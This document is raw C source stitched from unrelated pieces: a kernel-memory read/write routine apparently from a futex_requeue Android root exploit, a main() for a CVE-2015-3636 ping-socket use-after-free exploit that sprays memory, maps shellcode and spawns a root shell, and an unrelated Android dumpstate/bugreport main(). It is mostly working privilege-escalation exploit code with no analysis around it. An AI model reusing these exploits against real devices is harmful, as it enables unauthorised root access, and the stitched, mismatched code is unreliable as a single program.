static void process_kernel_memory_request(int req_fd) { struct kernel_memory_request_t req; static unsigned long values[FUTEX_REQUEUE_MAX_REQUEST_COUNT]; int size; if (recv(req_fd, &req, sizeof req, 0) != sizeof (req)) { printf("Request read error\n"); goto error_exit; } if (req.magic != REQUEST_MAGIC) { printf("Wrong magic\n"); goto error_exit; } if (req.count <= 0 || req.count > FUTEX_REQUEUE_MAX_REQUEST_COUNT) { printf("Wrong request\n"); goto error_exit; } size = sizeof (*values) * req.count; if (req.address < KERNEL_START || req.address + size - 1 > KERNEL_END) { printf("Wrong address\n"); goto error_exit; } if (req.do_write_to_kernel) { if (recv(req_fd, values, size, 0) != size) { goto error_exit; } if (write_kernel_memory_by_pipe(req.address, values, size) != size) { goto error_exit; } req.magic = RESULT_MAGIC; send(req_fd, &req, sizeof req, 0); } else { if (read_kernel_memory_by_pipe(req.address, values, size) != size) { goto error_exit; } req.magic = RESULT_MAGIC; send(req_fd, &req, sizeof req, 0); send(req_fd, values, size, 0); } error_exit: protect_from_oom_killer(); }
int main() { int *socks; unsigned long *address[MAX_MMAP]; int pid[MAX_CHILD]; int pipe_read[MAX_CHILD]; void *addr; int max_fds; int i, num_socks, num_child; int j; int success, count; int fd; int vulnerable = 0; int child_socks, total_child_socks; int temp; unsigned long *target; addr = mmap((void*)0x200000, _PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0); if (addr == MAP_FAILED) { printf("map failed!\n"); return -1; } memset((void*)0x200000, 0, _PAGE_SIZE); protect_from_oom_killer(); fd = create_icmp_socket(); if (fd < 0) { printf("can not crate icmp socket!\n"); return -1; } setup_vul_socket(fd); for (i = 0; i < _PAGE_SIZE / sizeof(int *); i++) { if (((unsigned int*)addr)[i] != 0) { vulnerable = 1; break; } } if (vulnerable == 0) { printf("cve_3636 not vulnerable!\n"); return -1; } if (mmap(0x50000000, 0x4000, PROT_WRITE | PROT_READ | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED, -1, 0) != 0x50000000) { printf("map shellcode area failed!\n"); return -1; } for (i = 0; i < 0x4000; i += 4){ target = 0x50000000 + i; *target = call_back; } my_pid = getpid(); max_fds = maximize_fd_limit(); printf("max_fds = %d\n", max_fds); socks = malloc(sizeof(int*) * (max_fds + 1)); printf("create child to spray\n"); num_child = 0; num_socks = 0; child_socks = 0; total_child_socks = 0; for (i = 0; i < MAX_CHILD; i++) { if (total_child_socks > MAX_SOCKS) break; pid[i] = create_child(&pipe_read[i], max_fds, &child_socks); if (pid[i] == -1) break; printf("."); fflush(stdout); //printf("create vulnerable socket!\n"); total_child_socks += child_socks; //printf("\n now child sockets = %d\n", total_child_socks); if ( num_socks < max_fds) { socks[num_socks] = create_icmp_socket(); if (socks[num_socks] == -1) break; num_socks++; } usleep(500000); } num_child = i; printf("total child sockets: %d\n", total_child_socks); printf("\nchild num: %d\n", num_child); socks[num_socks] = -1; printf("vulnerable socket num: %d\n", num_socks); printf("now close child socket!\n"); for (i = 0; i < num_child; i++) { close_child(pid[i]); } printf("setup vulnerable socket!\n"); for (i = 0; i < num_socks; i++) { setup_vul_socket(socks[i]); } printf("sparying ...\n"); success = 0; while (1) { count = 0; for (i = 0; i < MAX_MMAP; i++) { address[i] = mmap((void*)0, MAP_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, -1, 0); if (address[i] == MAP_FAILED) { printf("map failed!\n"); break; } fill_payload(address[i], MAP_SIZE); for (j = 0; socks[j] != -1; j++) { if (get_sk(socks[j]) > 0) { success = 1; printf("get it!\n"); ioctl(socks[j], 0x5678, &temp); break; } } if (success) break; } count = i; if (success) { printf("free %ld bytes\n", MAP_SIZE * (count - 1)); for (i = 0; i < count; i++) { munmap(address[i], MAP_SIZE); } munmap(0x50000000, 0x4000); system("/system/bin/sh"); break; } } printf("main end!\n"); return 0; }
int main(int argc, char *argv[]) { int dumpcrash = check_command_name(argv[0], "dumpcrash"); int bugreport = check_command_name(argv[0], "bugreport"); int add_date = 0; char* outfile = 0; int vibrate = 0; int compress = 0; int c, fd, vibrate_fd, fds[2]; char path[PATH_MAX]; pid_t pid; /* set as high priority, and protect from OOM killer */ setpriority(PRIO_PROCESS, 0, -20); protect_from_oom_killer(); get_time(&now); if (bugreport) { do { c = getopt(argc, argv, "do:vz"); if (c == EOF) break; switch (c) { case 'd': add_date = 1; break; case 'o': outfile = optarg; break; case 'v': vibrate = 1; break; case 'z': compress = 1; break; case '?': fprintf(stderr, "%s: invalid option -%c\n", argv[0], optopt); exit(1); } } while (1); } /* open vibrator before switching user */ if (vibrate) { vibrate_fd = open("/sys/class/timed_output/vibrator/enable", O_WRONLY); if (vibrate_fd > 0) fcntl(vibrate_fd, F_SETFD, FD_CLOEXEC); } else vibrate_fd = -1; /* switch to non-root user and group */ setgid(AID_LOG); setuid(AID_SHELL); /* make it safe to use both printf and STDOUT_FILENO */ setvbuf(stdout, 0, _IONBF, 0); if (outfile) { if (strlen(outfile) > sizeof(path) - 100) exit(1); strcpy(path, outfile); if (add_date) { char date[260]; strftime(date, sizeof(date), "-%Y-%m-%d-%H-%M-%S", &now); strcat(path, date); } if (compress) strcat(path, ".gz"); else strcat(path, ".txt"); /* ensure that all directories in the path exist */ create_directories(path); fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); if (fd < 0) return fd; if (compress) { pipe(fds); /* redirect our stdout to the pipe */ dup2(fds[1], STDOUT_FILENO); close(fds[1]); if ((pid = fork()) < 0) { fprintf(stderr, "fork error\n"); exit(1); } if (pid) { /* parent case */ /* close our copy of the input to gzip */ close(fds[0]); /* close our copy of the output file */ close(fd); } else { /* child case */ /* redirect our input pipe to stdin */ dup2(fds[0], STDIN_FILENO); close(fds[0]); /* redirect stdout to the output file */ dup2(fd, STDOUT_FILENO); close(fd); /* run gzip to postprocess our output */ execv("/system/bin/gzip", gzip_args); fprintf(stderr, "execv returned\n"); } } else { /* redirect stdout to the output file */ dup2(fd, STDOUT_FILENO); close(fd); } } /* else everything will print to stdout */ if (vibrate) { vibrate_pattern(vibrate_fd, start_pattern); } dumpstate(!dumpcrash); if (vibrate) { vibrate_pattern(vibrate_fd, end_pattern); close(vibrate_fd); } /* so gzip will terminate */ close(STDOUT_FILENO); return 0; }